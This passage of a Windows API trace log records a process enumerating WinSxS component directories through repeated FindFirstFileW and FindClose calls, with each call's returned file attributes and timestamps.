lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_amdsbs.inf_31bf3856ad364e35_6.1.7600.16385_none_c192282a2ed13c70\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a335198, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a35b2f9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a35b2f9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.016] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.016] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_angel264.inf_31bf3856ad364e35_6.1.7600.16385_none_9421cee72a5bb5c5\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b3debb7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b3debb7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b3debb7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.016] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_angel64.inf_31bf3856ad364e35_6.1.7600.16385_none_56f2fed0f57bbc5f\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b3debb7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b3debb7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b3debb7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.017] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_angelu64.inf_31bf3856ad364e35_6.1.7600.16385_none_450d9d3ea6565bb0\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b3debb7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b3debb7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b3debb7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.018] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.018] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_arc.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0d84bbf86bc07c16\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3226b4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3226b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd3226b4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.018] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.018] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_arc.inf_31bf3856ad364e35_6.1.7600.16385_none_7bd52eeae18aa940\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a35b2f9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a35b2f9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a35b2f9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.019] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.019] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_arcsas.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ae7fa716cfd0da1f\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3226b4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3226b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd3226b4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.020] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.020] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_arcsas.inf_31bf3856ad364e35_6.1.7600.16385_none_76ecda49a2a75845\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a35b2f9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a35b2f9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a35b2f9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.020] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.020] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_aspnet_compiler_b03f5f7f11d50a3a_6.1.7600.16385_none_a5a135380060b978\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5856f6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa5856f6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa5856f6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.021] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.021] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_aspnet_regbrowsers_b03f5f7f11d50a3a_6.1.7600.16385_none_96421d40c0e2903e\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5856f6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa5856f6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa5856f6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.021] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.022] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_aspnet_regsql_b03f5f7f11d50a3a_6.1.7600.16385_none_dcb42ec76404494f\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5856f6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa5856f6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa5856f6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.022] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.022] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_atiilhag.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a84b3670179ab5eb\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd77f3e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd77f3e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd77f3e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.028] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_atiilhag.inf_31bf3856ad364e35_6.1.7601.17514_none_03c46b205be81dfd\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29c123c, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x83de28f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83de28f5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.033] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_atiriol6.inf_31bf3856ad364e35_6.1.7600.16385_none_a909ad21d26d5bd0\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b36c796, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b36c796, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b36c796, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.034] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.034] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_auditpolicygpmanagedstubs.interop_31bf3856ad364e35_6.1.7600.16385_none_7dea25c08325286d\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28107551, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x28107551, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28107551, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.035] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.035] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_avc.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_700d963de350befa\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd77f3e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd77f3e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd77f3e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.035] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.036] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_avc.inf_31bf3856ad364e35_6.1.7600.16385_none_084e3f0eabcf1e24\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1936ffbb, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1936ffbb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1936ffbb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.036] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.036] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_averfx2hbh826d_noaverir_x64.inf_31bf3856ad364e35_6.1.7600.16385_none_3cfa3158fd5ab28e\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b36c796, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b36c796, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b36c796, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.037] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.037] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_averfx2hbtv_x64.inf_31bf3856ad364e35_6.1.7600.16385_none_2973b7e011e9c731\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b36c796, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b36c796, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b36c796, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.050] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.051] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_averfx2swtv_noavin_x64.inf_31bf3856ad364e35_6.1.7600.16385_none_d09f0e4b6533fbdf\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b36c796, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b36c796, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b36c796, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.053] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.054] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_averfx2swtv_x64.inf_31bf3856ad364e35_6.1.7600.16385_none_fedee0b0e2af1d43\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b36c796, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b36c796, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b36c796, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.056] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.057] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_averhbh826_noaverir_x64.inf_31bf3856ad364e35_6.1.7600.16385_none_627d53d0cd5664c2\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b36c796, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b36c796, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b36c796, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.059] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_avmx64c.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_84e4d7e8642d499b\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd05713, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd05713, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd05713, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.060] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_avmx64c.inf_31bf3856ad364e35_6.1.7600.16385_none_1b289ccdd9a4634d\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185e6282, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x185e6282, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x185e6282, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.062] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_battery.inf.resources_31bf3856ad364e35_6.1.7601.17514_en-us_c317c225509402e3\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34896d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd34896d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd34896d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.064] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_battery.inf_31bf3856ad364e35_6.1.7600.16385_none_721c84936d812c57\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b346636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b346636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b346636, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.067] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_bda.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_906a43fee8d8369b\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd51c85, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd51c85, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd51c85, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.068] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.068] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_bda.inf_31bf3856ad364e35_6.1.7600.16385_none_5e69a2a6daa14883\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19323cfb, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x19349e5b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x19349e5b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.068] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.068] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_bdatunepia_31bf3856ad364e35_6.1.7601.17514_none_c81348afa0c88995\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa584bcf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa584bcf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa584bcf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.068] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_blbdrive.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_53dd38a4cf5b020e\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34896d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd34896d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd34896d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.069] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_blbdrive.inf_31bf3856ad364e35_6.1.7600.16385_none_e96898ffe0d97c7e\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b3204d6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b3204d6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b3204d6, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.069] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_brmfcmdm.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_628b3dbdafeb4174\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.071] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_brmfcmdm.inf_31bf3856ad364e35_6.1.7600.16385_none_d5714398a0c68fde\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bdb0689, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bdb0689, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bdb0689, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.073] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.074] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_brmfcmf.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e68db482264e806b\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd05713, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd05713, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd05713, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.075] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.076] FindFirstFileW (in: 